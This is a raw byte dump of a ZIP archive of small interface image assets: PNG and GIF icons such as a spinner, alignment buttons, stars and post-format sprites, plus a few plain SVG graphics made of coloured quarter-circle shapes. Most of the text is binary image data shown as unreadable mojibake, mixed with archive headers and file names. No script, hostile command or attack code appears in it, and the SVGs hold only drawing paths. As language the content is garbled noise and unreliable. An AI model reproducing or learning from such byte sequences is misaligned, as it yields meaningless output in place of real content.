IHDRP-J�hPLTE333���������������333���������������������666���333@@@BBB```aaadddeeekkklllmmmnnnqqqrrruuuvvvxxxyyy|||}}}~~~��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#EtRNS??MNSU����������g0�	!IDAT8�u��kA�߼���'��%��^D��G[�T*x�O�ă� (ڃ�B)[�CzR�`Mv6;Λlּ��<��|���{o�&
�"�u\�)&��NJ�b���z>L������N1�1G`�-<���)��:C�vD=�[B��;��"(}oNO�K���|�}�m`YHg���
8Cuչ���rM�H���os]�X�e�w�_|e���cn�CE�O�ѭ|�X;���}��)�;�8�*�Ձa�+�x)�+�1zl�,I��T��'��)���X!�T�Nʷ���>�lB3~��ƤS\���Il�kE^�M��og��7k�뛫�d|Z��vӃ>�ns�M�уv{0��n�W\7 C��F�����L?x\���GDB-c`Hg�_s�=JfްW�4|�6	�k��cr��ț��[�/g�G/(�Dˢ77
z�Vb�����x���EN~�7)�� �p_�c����pGR�|�.8�d��`��&�db��*�e���ri�"�fzk�1�z�d��]#�7eYU�������w�ό��/IEND�B`�PK�y�Z�Ӈ���date-button.gifnu�[���GIF89a�;���lll[[[~~~������sss���ppp������mmm���������������yyy���ccc|||���iii���^^^vvv������eee]]]fff�������������������������```�����������������������������������uuu��������ˎ��!�;,@���pg(
����2���j!�PC�Q4���"��nπ.��(B���b��r�P�zDN	~�-B-P41�-B-����J;	W������B���G-"2P0/6Q-I;n$P+�P"-B-,(*5�(#-B)-3%8#�-)B����;A;PK�y�Zܙ�i��
freedom-1.svgnu�[���<svg width="180" height="180" viewBox="0 0 180 180" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_941_5573)">
<path d="M180 90C180 101.819 177.673 113.522 173.15 124.442C168.627 135.361 161.997 145.283 153.64 153.64C136.761 170.517 113.869 179.999 90 180V108C94.7737 107.999 99.3517 106.103 102.728 102.728C106.103 99.3517 107.999 94.7737 108 90H180Z" fill="#111111"/>
<path d="M90 0C113.869 0.000342544 136.761 9.48224 153.64 26.36C170.518 43.2387 180 66.1305 180 90H108C107.999 85.2263 106.103 80.6483 102.728 77.272C99.3521 73.8967 94.7738 72.0004 90 72V0Z" fill="#CFCABE"/>
<path d="M90 180C78.181 180 66.4777 177.672 55.5583 173.149C44.639 168.627 34.7174 161.997 26.3601 153.64C18.0028 145.283 11.3735 135.361 6.85057 124.442C2.3277 113.522 -0.000131319 101.819 5.55619e-09 90H72C72.0005 94.7737 73.8971 99.3518 77.2727 102.727C80.6482 106.103 85.2263 107.999 90 108V180Z" fill="#D8613C"/>
<path d="M5.55619e-09 90C-0.000131319 78.181 2.3277 66.4777 6.85057 55.5583C11.3735 44.639 18.0028 34.7174 26.3601 26.3601C34.7174 18.0028 44.639 11.3735 55.5583 6.85057C66.4777 2.3277 78.181 -0.000131319 90 5.55619e-09V72C85.2263 72.0005 80.6482 73.8971 77.2727 77.2727C73.8971 80.6482 72.0005 85.2263 72 90H5.55619e-09Z" fill="#B1C5A4"/>
<path d="M108 90C108 99.941 99.941 108 90 108C80.059 108 72 99.941 72 90C72 80.059 80.059 72 90 72C99.941 72 108 80.059 108 90Z" fill="white"/>
</g>
<defs>
<clipPath id="clip0_941_5573">
<rect width="180" height="180" fill="white"/>
</clipPath>
</defs>
</svg>
PK�y�Z�*�99
xit-2x.gifnu�[���GIF89a(�@��������������������������������������������������������������������������������������������������������������������������������������������������!�@,(@��@��
&&
���$55$�0�0�@�0���������0�
�
����
��.@�@.���>@	�	@>�@�҃��О����ޫ�!2��d��bD�b#V���;Rҵ�5�*��䣇���$�{�	��b��c�CA�_=�t�
4��#�jP0q��Ӆ�m�ppU�I�-
���K�Ȱa�
O'H�;�Iţ�J��Wb�B<�|
z&s�-n��bP�U)Q���\��#+���ud�d���wE8�-�Fb�:tB�X�X��I~�o�����9�SE��c�T�
�e0RdF'*�5l�b|�$�A
DD��)�G�Xt�M���Q�S-�Gu��Ur�?(;PK�y�Z�y��""align-center.pngnu�[����PNG


IHDR�8<�IDAT(��R�NA�KhH
eKD�>�H�m���w4M��������vA�J�_u��ݙ˙��֏�&�wf�{!�D3F��W�78%����;J���!�	g��cx�T��w�����Fwk떌�W�^!߶V�.�~��H_�?<�Kໃ(lG��~)߱����e�g>꿆ʢ���0� �<O�S�m�U"=����Ni�SYk�Ny��e�}�i�\t��'Iɿ%x��]{�mc_��g�8�<�X||b���ߩ,8���ZS��Z��0"�cbQ2�I5���n�ia��B�Y�|��\?�Y����At��L�h�;'�o�z�NUQ!�dQ����� ������k��I�	}�u]�_EPAU�z]ˣ���)��3Ƣ(�����O
���h8�*�Z�6�M�۶�;��o�5?fC����	���]�iu��H��p�-(;�`l8�c�?�O�L�?��=M�,�oϺ3IEND�B`�PK�y�Z�_n�hh
marker.pngnu�[����PNG


IHDR�d�q/IDAT���+�q���z��zB$V�f�$Rpp���M.�����njR;-�4r$��nB�]�W&�=OO�p�ҿ��(	��o��Q�`��9�T�)n1������Tan
���'V�v�����X��9�-ךV�,ժ�Z���闇.��jJ���g����(�.u��Uivש<$0)��w�\��Y���R���y�#O�:��R2�kOln��j���d�>���{�	S}��h@��&���Q�6�iFi'B�<��Y�����!��0�(��q�w����F���IEND�B`�PK�y�Z{��`
`
contribute-main.svgnu�[���<svg width="290" height="290" viewBox="0 0 290 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_941_5603)">
<path d="M290 217.5C290.001 231.839 285.749 245.857 277.783 257.779C269.816 269.702 258.493 278.994 245.245 284.481C236.449 288.125 227.021 290 217.5 290V232C219.404 232 221.29 231.625 223.049 230.897C224.808 230.168 226.407 229.1 227.753 227.753C229.1 226.407 230.168 224.808 230.897 223.049C231.625 221.29 232 219.404 232 217.5H290Z" fill="#111111"/>
<path d="M145 217.5C144.999 203.161 149.251 189.143 157.218 177.221C165.184 165.298 176.508 156.006 189.756 150.519C198.552 146.875 207.979 145 217.5 145V203C215.596 203 213.71 203.375 211.951 204.103C210.192 204.832 208.593 205.9 207.247 207.247C205.9 208.593 204.832 210.192 204.103 211.951C203.375 213.71 203 215.596 203 217.5H145Z" fill="#B1C5A4"/>
<path d="M203 217.5C203 225.508 209.492 232 217.5 232C225.508 232 232 225.508 232 217.5C232 209.492 225.508 203 217.5 203C209.492 203 203 209.492 203 217.5Z" fill="white"/>
<path d="M72.5 145C82.0209 145 91.4485 146.875 100.245 150.518C109.041 154.162 117.033 159.502 123.765 166.235C130.498 172.967 135.838 180.959 139.482 189.755C143.125 198.551 145 207.979 145 217.5H87C87 213.654 85.4723 209.966 82.7531 207.247C80.0338 204.528 76.3456 203 72.5 203V145Z" fill="#CFCABE"/>
<path d="M72.5 290C62.9791 290 53.5514 288.125 44.7552 284.482C35.9591 280.838 27.9669 275.498 21.235 268.765C14.5022 262.033 9.16152 254.041 5.51798 245.245C1.87443 236.449 -0.000589261 227.021 1.38912e-07 217.5H58C58 221.346 59.5277 225.034 62.247 227.753C64.9662 230.472 68.6544 232 72.5 232V290Z" fill="#D8613C"/>
<path d="M58 217.5C58 225.508 64.492 232 72.5 232C80.508 232 87 225.508 87 217.5C87 209.492 80.508 203 72.5 203C64.492 203 58 209.492 58 217.5Z" fill="white"/>
<path d="M0 72.5C0 53.2718 7.63837 34.8311 21.2348 21.2348C34.8311 7.63837 53.2718 0 72.5 0V58C68.6544 58 64.9662 59.5277 62.247 62.247C59.5277 64.9662 58 68.6544 58 72.5H0Z" fill="#B1C5A4"/>
<path d="M145 72.5C145 82.0209 143.125 91.4485 139.482 100.245C135.838 109.041 130.498 117.033 123.765 123.765C117.033 130.498 109.041 135.838 100.245 139.482C91.4486 143.125 82.0209 145 72.5 145V87C76.3456 87 80.0338 85.4723 82.7531 82.7531C85.4723 80.0338 87 76.3456 87 72.5H145Z" fill="#111111"/>
<path d="M58 72.5C58 80.508 64.492 87 72.5 87C80.508 87 87 80.508 87 72.5C87 64.492 80.508 58 72.5 58C64.492 58 58 64.492 58 72.5Z" fill="white"/>
<path d="M217.5 0C236.728 0.000677405 255.168 7.63905 268.765 21.235C275.497 27.9671 280.838 35.9593 284.481 44.7554C288.125 53.5515 290 62.9792 290 72.5H232C232 70.5958 231.625 68.7102 230.897 66.9509C230.168 65.1917 229.1 63.5932 227.753 62.247C226.407 60.9005 224.808 59.8323 223.049 59.1036C221.29 58.3749 219.404 57.9999 217.5 58V0Z" fill="#CFCABE"/>
<path d="M217.5 145C203.161 145.001 189.143 140.749 177.221 132.782C165.298 124.816 156.006 113.492 150.519 100.244C146.875 91.4482 145 82.0207 145 72.5H203C203 74.4042 203.375 76.2898 204.103 78.049C204.832 79.8083 205.9 81.4067 207.247 82.753C208.593 84.0996 210.192 85.1678 211.951 85.8965C213.71 86.6252 215.596 87.0002 217.5 87V145Z" fill="#D8613C"/>
<path d="M203 72.5C203 80.508 209.492 87 217.5 87C225.508 87 232 80.508 232 72.5C232 64.492 225.508 58 217.5 58C209.492 58 203 64.492 203 72.5Z" fill="white"/>
</g>
<defs>
<clipPath id="clip0_941_5603">
<rect width="290" height="290" fill="white"/>
</clipPath>
</defs>
</svg>
PK�y�Z�Uaasort-2x.gifnu�[���GIF89a����%/2$.1#-0���!�,@&H��20ʨ��������y�	B�XXb�ل�–�ȼ��$;PK�y�Z(ѣyyalign-none-2x.pngnu�[����PNG


IHDR*�J�@IDATH�c�?��aPX���`�YO��~(Y�O�4j����֏Z?T��rF��֏Ԗ����P��29<*[(�IEND�B`�PK�y�Z�S���	stars.pngnu�[����PNG


IHDR%�m�;cIDATx�ݔMLA�UH*�B�(����/H4�Q�ŏ�у1r�c�AP�F�|U	��!F��i�->Ū�BQ��閶�v��|�n����99�?����/�y�2[`}��T:KU�v�X׎̓��V��t�l4h�!�@���6埡I��7��e����mҠ!&
!�T���AG>qvB�X�|=�]����|Y\(���^N�����ᡦ#�^g�Tr��3�rbk4q�F�T�0�����MT7W���Be��)YhN"�uvb�C���y(��~�\���|X�D_�ݕK�S�"P�˛X���g��y��<&=�P�3��T�.'��a7u"�C(�<v�V�Pg�)����=Hak2��.�A�B<��~�||�
4�ʉ�]�s�*�q�#֞,t$�Ůe�\�� �Id4i�F
�T!��+�XomC��:���u?}��A�3���S&*]�	Ts/7,�*��o�8K4�n����t��J�E�9Ҡ8Ǹ5�K���!�k.�c,C�S>9V��;�Ǥ�6�k-��j�����=�~�ne��x���B�Jײgm~z�Q��{�Oר�<AE-q��v�!���<o�5�#������U`�l��i3X���˗�Y]�N�*�
��	�\(#XmSAC��F��.]k�J"��n��P���0X�V2�}^J��yY"ZJ���+�U�uQN��oݗ���:�3k��Q��׫K{S�@�
v���*�mB�.�Nh 7�J����g�����K[c����6���
=9�b��0���c�B��J�I���z�
�D�)���˓}�D=(z�ш��tF��Ѿ
��/>������IEND�B`�PK�y�Z���a.a.
freedom-3.svgnu�[���<svg width="180" height="180" viewBox="0 0 180 180" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_1028_1939)">
<path d="M60 30C60 37.9565 56.8393 45.5871 51.2132 51.2132C45.5871 56.8393 37.9565 60 30 60V36C31.5913 36 33.1174 35.3679 34.2426 34.2426C35.3679 33.1174 36 31.5913 36 30H60Z" fill="#111111"/>
<path d="M30 0C37.9565 0 45.5871 3.16071 51.2132 8.7868C56.8393 14.4129 60 22.0435 60 30H36C36 28.4087 35.3679 26.8826 34.2426 25.7574C33.1174 24.6321 31.5913 24 30 24V0Z" fill="#CFCABE"/>
<path d="M30 60C22.0435 60 14.4129 56.8393 8.7868 51.2132C3.16071 45.5871 0 37.9565 0 30H24C24 31.5913 24.6321 33.1174 25.7574 34.2426C26.8826 35.3679 28.4087 36 30 36V60Z" fill="#D8613C"/>
<path d="M0 30C0 22.0435 3.16071 14.4129 8.7868 8.7868C14.4129 3.16071 22.0435 0 30 0V24C28.4087 24 26.8826 24.6321 25.7574 25.7574C24.6321 26.8826 24 28.4087 24 30H0Z" fill="#B1C5A4"/>
<path d="M36 30C36 31.5913 35.3679 33.1174 34.2426 34.2426C33.1174 35.3679 31.5913 36 30 36C28.4087 36 26.8826 35.3679 25.7574 34.2426C24.6321 33.1174 24 31.5913 24 30C24 28.4087 24.6321 26.8826 25.7574 25.7574C26.8826 24.6321 28.4087 24 30 24C31.5913 24 33.1174 24.6321 34.2426 25.7574C35.3679 26.8826 36 28.4087 36 30Z" fill="white"/>
<path d="M120 30C119.999 37.9563 116.839 45.5866 111.213 51.213C105.587 56.8386 97.9563 59.9992 90 60V36C90.788 36.0001 91.5682 35.845 92.2963 35.5435C93.0243 35.2421 93.6858 34.8001 94.2429 34.2429C94.8001 33.6858 95.2421 33.0243 95.5435 32.2963C95.845 31.5682 96.0001 30.788 96 30H120Z" fill="#111111"/>
<path d="M90 0C97.9564 0.000265201 105.587 3.16106 111.213 8.78709C116.839 14.4131 120 22.0436 120 30H96C95.9995 28.4089 95.3672 26.883 94.2421 25.7579C93.117 24.6328 91.5911 24.0005 90 24V0Z" fill="#CFCABE"/>
<path d="M90 60C82.0437 59.9995 74.4134 56.8386 68.7874 51.2126C63.1614 45.5866 60.0005 37.9563 60 30H84C84.0008 31.5911 84.6332 33.1167 85.7582 34.2418C86.8833 35.3668 88.4089 35.9992 90 36V60Z" fill="#D8613C"/>
<path d="M60 30C60 22.0435 63.1607 14.4129 68.7868 8.7868C74.4129 3.16071 82.0435 0 90 0V24C89.212 23.9999 88.4318 24.155 87.7037 24.4565C86.9757 24.7579 86.3142 25.1999 85.7571 25.7571C85.1999 26.3142 84.7579 26.9757 84.4565 27.7037C84.155 28.4318 83.9999 29.212 84 30H60Z" fill="#B1C5A4"/>
<path d="M96 30C96 31.5913 95.3679 33.1174 94.2426 34.2426C93.1174 35.3679 91.5913 36 90 36C88.4087 36 86.8826 35.3679 85.7574 34.2426C84.6321 33.1174 84 31.5913 84 30C84 28.4087 84.6321 26.8826 85.7574 25.7574C86.8826 24.6321 88.4087 24 90 24C91.5913 24 93.1174 24.6321 94.2426 25.7574C95.3679 26.8826 96 28.4087 96 30Z" fill="white"/>
<path d="M120 90C120 93.94 119.224 97.84 117.717 101.481C114.671 108.831 108.831 114.671 101.481 117.717C97.8409 119.224 93.9397 120 90 120V96C91.5911 95.9992 93.1167 95.3668 94.2418 94.2418C95.3668 93.1167 95.9992 91.5911 96 90H120Z" fill="#111111"/>
<path d="M90 60C95.9334 60.0007 101.733 61.7605 106.667 65.057C111.6 68.3534 115.446 73.0385 117.717 78.52C119.224 82.1597 120 86.0606 120 90H96C95.9992 88.4089 95.3668 86.8833 94.2418 85.7582C93.1167 84.6332 91.5911 84.0008 90 84V60Z" fill="#CFCABE"/>
<path d="M90 120C82.0437 119.999 74.4134 116.839 68.787 111.213C63.1614 105.587 60.0007 97.9563 60 90H84C84.0008 91.5911 84.6332 93.1167 85.7582 94.2418C86.8833 95.3668 88.4089 95.9992 90 96V120Z" fill="#D8613C"/>
<path d="M60 90C60.0005 82.0437 63.1614 74.4134 68.7874 68.7874C74.4134 63.1614 82.0437 60.0005 90 60V84C88.4089 84.0008 86.8833 84.6332 85.7582 85.7582C84.6332 86.8833 84.0008 88.4089 84 90H60Z" fill="#B1C5A4"/>
<path d="M96 90C96 91.5913 95.3679 93.1174 94.2426 94.2426C93.1174 95.3679 91.5913 96 90 96C88.4087 96 86.8826 95.3679 85.7574 94.2426C84.6321 93.1174 84 91.5913 84 90C84 88.4087 84.6321 86.8826 85.7574 85.7574C86.8826 84.6321 88.4087 84 90 84C91.5913 84 93.1174 84.6321 94.2426 85.7574C95.3679 86.8826 96 88.4087 96 90Z" fill="white"/>
<path d="M60 90C59.9995 97.9563 56.8386 105.587 51.2126 111.213C45.5866 116.839 37.9563 119.999 30 120V96C31.5911 95.9992 33.1167 95.3668 34.2418 94.2418C35.3668 93.1167 35.9992 91.5911 36 90H60Z" fill="#111111"/>
<path d="M30 60C37.9565 60 45.5871 63.1607 51.2132 68.7868C56.8393 74.4129 60 82.0435 60 90H36C36.0001 89.212 35.845 88.4318 35.5435 87.7037C35.2421 86.9757 34.8001 86.3142 34.2429 85.7571C33.6858 85.1999 33.0243 84.7579 32.2963 84.4565C31.5682 84.155 30.788 83.9999 30 84V60Z" fill="#CFCABE"/>
<path d="M30 120C22.0437 119.999 14.4134 116.839 8.787 111.213C3.16135 105.587 0.000657076 97.9563 0 90H24C23.9999 90.788 24.155 91.5682 24.4565 92.2963C24.7579 93.0243 25.1999 93.6858 25.7571 94.2429C26.3142 94.8001 26.9757 95.2421 27.7037 95.5435C28.4318 95.845 29.212 96.0001 30 96V120Z" fill="#D8613C"/>
<path d="M0 90C0 82.0435 3.16071 74.4129 8.7868 68.7868C14.4129 63.1607 22.0435 60 30 60V84C28.4089 84.0008 26.8833 84.6332 25.7582 85.7582C24.6332 86.8833 24.0008 88.4089 24 90H0Z" fill="#B1C5A4"/>
<path d="M36 90C36 91.5913 35.3679 93.1174 34.2426 94.2426C33.1174 95.3679 31.5913 96 30 96C28.4087 96 26.8826 95.3679 25.7574 94.2426C24.6321 93.1174 24 91.5913 24 90C24 88.4087 24.6321 86.8826 25.7574 85.7574C26.8826 84.6321 28.4087 84 30 84C31.5913 84 33.1174 84.6321 34.2426 85.7574C35.3679 86.8826 36 88.4087 36 90Z" fill="white"/>
<path d="M180 30C180 37.9565 176.839 45.5871 171.213 51.2132C165.587 56.8393 157.956 60 150 60V36C151.591 35.9995 153.117 35.3672 154.242 34.2421C155.367 33.117 155.999 31.5911 156 30H180Z" fill="#111111"/>
<path d="M150 0C157.956 0 165.587 3.16071 171.213 8.7868C176.839 14.4129 180 22.0435 180 30H156C156 28.4087 155.368 26.8826 154.243 25.7574C153.117 24.6321 151.591 24 150 24V0Z" fill="#CFCABE"/>
<path d="M150 60C142.044 59.9997 134.413 56.8389 128.787 51.2129C123.161 45.5869 120 37.9564 120 30H144C144 31.5913 144.632 33.1174 145.757 34.2426C146.883 35.3679 148.409 36 150 36V60Z" fill="#D8613C"/>
<path d="M120 30C120 22.0435 123.161 14.4129 128.787 8.7868C134.413 3.16071 142.044 0 150 0V24C148.409 24.0005 146.883 24.6328 145.758 25.7579C144.633 26.883 144.001 28.4089 144 30H120Z" fill="#B1C5A4"/>
<path d="M156 30C156 31.5913 155.368 33.1174 154.243 34.2426C153.117 35.3679 151.591 36 150 36C148.409 36 146.883 35.3679 145.757 34.2426C144.632 33.1174 144 31.5913 144 30C144 28.4087 144.632 26.8826 145.757 25.7574C146.883 24.6321 148.409 24 150 24C151.591 24 153.117 24.6321 154.243 25.7574C155.368 26.8826 156 28.4087 156 30Z" fill="white"/>
<path d="M180 90C179.999 97.9563 176.839 105.587 171.213 111.213C165.587 116.839 157.956 119.999 150 120V96C151.591 95.9995 153.117 95.3672 154.242 94.2421C155.367 93.117 155.999 91.5911 156 90H180Z" fill="#111111"/>
<path d="M150 60C157.956 60.0003 165.587 63.1611 171.213 68.7871C176.839 74.4131 180 82.0436 180 90H156C156.001 89.212 155.846 88.4316 155.544 87.7035C155.243 86.9754 154.8 86.314 154.243 85.757C153.686 85.1998 153.024 84.7579 152.296 84.4564C151.568 84.1549 150.788 83.9999 150 84V60Z" fill="#CFCABE"/>
<path d="M150 120C142.044 119.999 134.414 116.838 128.788 111.212C123.162 105.586 120.001 97.9562 120 90H144C143.999 90.788 144.154 91.5684 144.456 92.2965C144.757 93.0246 145.2 93.686 145.757 94.243C146.314 94.8002 146.976 95.2421 147.704 95.5436C148.432 95.8451 149.212 96.0001 150 96V120Z" fill="#D8613C"/>
<path d="M120 90C120 82.0435 123.161 74.4129 128.787 68.7868C134.413 63.1607 142.044 60 150 60V84C148.409 84.0005 146.883 84.6328 145.758 85.7579C144.633 86.883 144.001 88.4089 144 90H120Z" fill="#B1C5A4"/>
<path d="M156 90C156 91.5913 155.368 93.1174 154.243 94.2426C153.117 95.3679 151.591 96 150 96C148.409 96 146.883 95.3679 145.757 94.2426C144.632 93.1174 144 91.5913 144 90C144 88.4087 144.632 86.8826 145.757 85.7574C146.883 84.6321 148.409 84 150 84C151.591 84 153.117 84.6321 154.243 85.7574C155.368 86.8826 156 88.4087 156 90Z" fill="white"/>
<path d="M180 150C180 157.956 176.839 165.587 171.213 171.213C165.587 176.839 157.956 180 150 180V156C151.591 156 153.117 155.368 154.243 154.243C155.368 153.117 156 151.591 156 150H180Z" fill="#111111"/>
<path d="M150 120C157.956 120 165.587 123.161 171.213 128.787C176.839 134.413 180 142.044 180 150H156C156 148.409 155.368 146.883 154.243 145.757C153.117 144.632 151.591 144 150 144V120Z" fill="#CFCABE"/>
<path d="M150 180C142.044 180 134.413 176.839 128.787 171.213C123.161 165.587 120 157.956 120 150H144C144 151.591 144.632 153.117 145.757 154.243C146.883 155.368 148.409 156 150 156V180Z" fill="#D8613C"/>
<path d="M120 150C120 142.044 123.161 134.413 128.787 128.787C134.413 123.161 142.044 120 150 120V144C148.409 144 146.883 144.632 145.757 145.757C144.632 146.883 144 148.409 144 150H120Z" fill="#B1C5A4"/>
<path d="M156 150C156 151.591 155.368 153.117 154.243 154.243C153.117 155.368 151.591 155.999 150 155.999C148.409 155.999 146.883 155.368 145.757 154.243C144.632 153.117 144 151.591 144 150C144 148.409 144.632 146.883 145.757 145.757C146.883 144.632 148.409 144.001 150 144.001C151.591 144.001 153.117 144.632 154.243 145.757C155.368 146.883 156 148.409 156 150Z" fill="white"/>
<path d="M60 150C60 157.956 56.8393 165.587 51.2132 171.213C45.5871 176.839 37.9565 180 30 180V156C31.5913 156 33.1174 155.368 34.2426 154.243C35.3679 153.117 36 151.591 36 150H60Z" fill="#111111"/>
<path d="M30 120C37.9565 120 45.5871 123.161 51.2132 128.787C56.8393 134.413 60 142.044 60 150H36C35.9995 148.409 35.3672 146.883 34.2421 145.758C33.117 144.633 31.5911 144.001 30 144V120Z" fill="#CFCABE"/>
<path d="M30 180C22.0435 180 14.4129 176.839 8.7868 171.213C3.16071 165.587 0 157.956 0 150H24C24.0005 151.591 24.6328 153.117 25.7579 154.242C26.883 155.367 28.4089 155.999 30 156V180Z" fill="#D8613C"/>
<path d="M0 150C0 142.044 3.16071 134.413 8.7868 128.787C14.4129 123.161 22.0435 120 30 120V144C28.4087 144 26.8826 144.632 25.7574 145.757C24.6321 146.883 24 148.409 24 150H0Z" fill="#B1C5A4"/>
<path d="M36 150C35.9995 151.591 35.3672 153.117 34.2421 154.242C33.117 155.367 31.5911 155.999 30 156C28.8133 156 27.6533 155.648 26.6666 154.989C25.6799 154.33 24.9109 153.392 24.4567 152.296C24.0026 151.2 23.8838 149.993 24.1153 148.829C24.3468 147.666 24.9182 146.596 25.7574 145.757C26.5965 144.918 27.6656 144.347 28.8295 144.115C29.9933 143.884 31.1997 144.003 32.2961 144.457C33.3925 144.911 34.3295 145.68 34.9888 146.667C35.6481 147.653 36 148.813 36 150Z" fill="white"/>
<path d="M120 150C119.999 157.956 116.838 165.586 111.212 171.212C105.586 176.838 97.9562 179.999 90 180V156C90.788 156.001 91.5684 155.846 92.2965 155.544C93.0246 155.243 93.686 154.8 94.243 154.243C94.8002 153.686 95.2421 153.024 95.5436 152.296C95.8451 151.568 96.0001 150.788 96 150H120Z" fill="#111111"/>
<path d="M90 120C97.9563 120.001 105.587 123.161 111.213 128.787C116.839 134.413 119.999 142.044 120 150H96C95.9997 148.409 95.3675 146.883 94.2423 145.758C93.1172 144.632 91.5912 144 90 144V120Z" fill="#CFCABE"/>
<path d="M90 180C82.0435 180 74.4129 176.839 68.7868 171.213C63.1607 165.587 60 157.956 60 150H84C84.0005 151.591 84.6328 153.117 85.7579 154.242C86.883 155.367 88.4089 155.999 90 156V180Z" fill="#D8613C"/>
<path d="M60 150C60.0003 142.044 63.1611 134.413 68.7871 128.787C74.4131 123.161 82.0436 120 90 120V144C89.212 143.999 88.4316 144.154 87.7035 144.456C86.9754 144.757 86.314 145.2 85.757 145.757C85.1998 146.314 84.7579 146.976 84.4564 147.704C84.1549 148.432 83.9999 149.212 84 150H60Z" fill="#B1C5A4"/>
<path d="M96 150C95.9995 151.591 95.3672 153.117 94.2421 154.242C93.117 155.367 91.5911 155.999 90 156C88.8133 156 87.6533 155.648 86.6666 154.989C85.6799 154.33 84.9109 153.392 84.4567 152.296C84.0026 151.2 83.8838 149.993 84.1153 148.829C84.3468 147.666 84.9182 146.596 85.7574 145.757C86.5965 144.918 87.6656 144.347 88.8295 144.115C89.9933 143.884 91.1997 144.003 92.2961 144.457C93.3925 144.911 94.3295 145.68 94.9888 146.667C95.6481 147.653 96 148.813 96 150Z" fill="white"/>
</g>
<defs>
<clipPath id="clip0_1028_1939">
<rect width="180" height="180" fill="white"/>
</clipPath>
</defs>
</svg>
PK�y�Z3L�-wpspin_light.gifnu�[���GIF89a�{{{�������{{��ﭭ������������������������΄�������Δ����������������ŵ����������Υ�����sss{ss���������Ž���省���������������֥����֔�����!�NETSCAPE2.0!�	,@����b�|<���2��@��t���`,4��I$�1�\
����Hc��

 M �tJCpMB�}
�C�}
	v] � f�ZTC	��C Rlm�stxnpr��EH�LCA!�,�@�b�|<���2l��ba)
MF��`��
�a7�c
��h4,��!EQ
 v ~ M 		�M�����	�!��C �Ov�s���{*bF��qZ���eN��XMBEHKMA!�	,p@�P`0��2�h����x4�P�0P}B�b1@�2����@`\��9Aq��!#t r		�J�$J
	��_��Er�kA!�,�@
�@\��P2"���h0,�c�	�*��0lo 2�c �\BP4�/
v BB 


��������
�� �U��
	
�o	�OE�	
ZBMA!�,p@�")�pY���hɹX��Gc+��@�e4ƇhIf0@���2��S�,�}~�J}


��
qt
B		���
��l�lA!�,v@��#9\�R8
�c�Y��S@�xD�W'���2�,�FC�^.�"��m2
}~s}v
�#
J
�	�#
�K
���}��BA!�	,c  R�1��q��E�ҾE�ݮ� ����ccLj�4�����F�L6Xq�H���3T�����
��*#��WG��#!!�,��ɤ�H��S2"b�,�Ƒ�"��g3`.�)�/��@��
�X� BB !	��������� �x"

�x
��
O��YB���{BA!�,s��` ��piT(����$�@q8���U��
�K"�q0=�B��Xo�BN�R"��K�
~Tx��NxNK�"K
�

�L
��
� ��LA!�,e &:�"0b�JX"��"m2	���B$��C�CD�*e<b��e�PQXRL�pXX��m�*[^.��b�,)gɀ��a���"�,

�zK�
�|KX�Q"!!�	,r@�P�H$�p� ól#��x@a��8��)(���B|o��_��B|��qzgk z B

�B�T
��C"���Jr��KA!�,�@�0(4��Q2"�IH$�c#Qx�Uk�,
���(��pn8@��I>) BB{Q�
�����y��{�ysyY�����mO���ZBMA;PK�y�Z���post-formats32.pngnu�[����PNG


IHDR `�c��PLTELiquuuaaavvvbbbIIIddd���zzz������sss������xxxyyyyyy���~~~���xxxxxx���������sss���������sssyyysssyyy


yyy���sss{{{xxx���sss���{{{yyyxxxnnn���yyy������~~~ttt������������ssswww������xxx{{{������zzz~~~������dddxxx���|||��ފ��yyy���������```���rrr��������������Ώ�����uuu��玎���Ŋ�����zzzaaaxxxmmmbbb���rrr|||���������kjjcbb���bbb���```���nnnxxx������<<<>>>@>>���???��������������������噙������ﱱ���������쐐��������������������������������������������������󩨨�������������������䉉���������������������㾽������������Ѧ�����������ttt�����ت�������������������ݥ����������������ã����������������֌����������������������ϧ�����������yyy��İ����ͻ������������������������������������������kkk�����Ἳ�������X��tRNS�,L
=%��*�����������!�.�@�'�	��-K�hՇ�v:�`>1�U�J��HE��3K%S�[Y�_54���}�����A�����܀j@��~�����S��S�w�'��1�f��{��.Nj2�ߐ�h�<IDATx��	Xם��M��+���v�$��M�8N�N�֩�#v�És4�s5
�����
 �N#�$�4���0BB	$$W$H0G��c�6�ͩ����f��~�~����?�xo4��{�8��
n�m����ms�kk�2��=.D��gnrA���lƫE6.��W�d1~�T�-�chSF���^��]��ƙ�]F�|�����-8���?�q���x��m��O��J�b:�A]v���1Ymm������[�����Bc�_}��R�O��s�?���?�޳�f(a`Da��W`'�_�XP~X$����M�"��	P~��ߨ���1���(�XX~��L��]׆[A�y�S��`yiEPP���-���^Z=,:�YБV~yS������Lg�/zD�X��<�yξQ�h{��.QT�=_(A���H%��>H�$�9?�C��?�x�w�y�޻��ѭ��)X�ɑ#G��)�N14'�&He2~d2)%��Z�\�^�&Z�ɰ��T����6�y	�I�R6&�t���j�YH�:Z�%u
�:	����7MЂ�ȮƱ�H4��t���QBe�ġ�qH*	Tc]JZ���2M��T�y
F�2��$���1��'��H�K�%�'��CA%)x��0B
���� 
-�K�pH!�o`��>VFQ�h����&z�^��b)S�5�|��ZZ3�mm3���a�_�L|���_���,0�GY`�����d!YY`����ga��ܳpᅭ��㎻��Gy�G��C����.�'w�̑#����엯[J*�x��/�ъei�rhxȡec�T!<ZWi�W���T�M,��X�s�a8��hԥT�������khM���Ww4	��-�L��[xr�e�l�w����B|�A	5���7�D���ڌ�=�qF�-{��i�����JDx����dc�@�N���8o��xc�Ю���=���h��(C�����蝞��h�His�

��7\����m�����TaKKrfA�d�2��‰	ZȌ���Z[I�@���&B ��w�S!)BfhA�M�PŒD��L���#G�/���G����ͳm�8���ww�'�r;"If�>���;n����o�ՒWl� �9�Y4����Xy�RV#"I�-"��)ؤ
u�I�#���IE�T!���>SM��;	A�07�tL�ӄ2���j��~���o]~x*m�7=���N�V�����C����S�m�l~?�M�v��\�bdQ϶�od�E�M�7Y�~_
K�IΛ �
�B5�Sm��5�<��d�9�a�.?GǭP?�'�B={9碴
礪C�J�<��*6r�si{|orFC��Ȍ�w�s8'�JH[y�p�PN��{��{	;�r<�a?q(7ې#G�/�%o��y���7����v3��@xÄ�.��3,�o�M�0+y�LK�Mb�d���M���C1d�
�LKJh���LKJീ�}"Ò�)�`nm
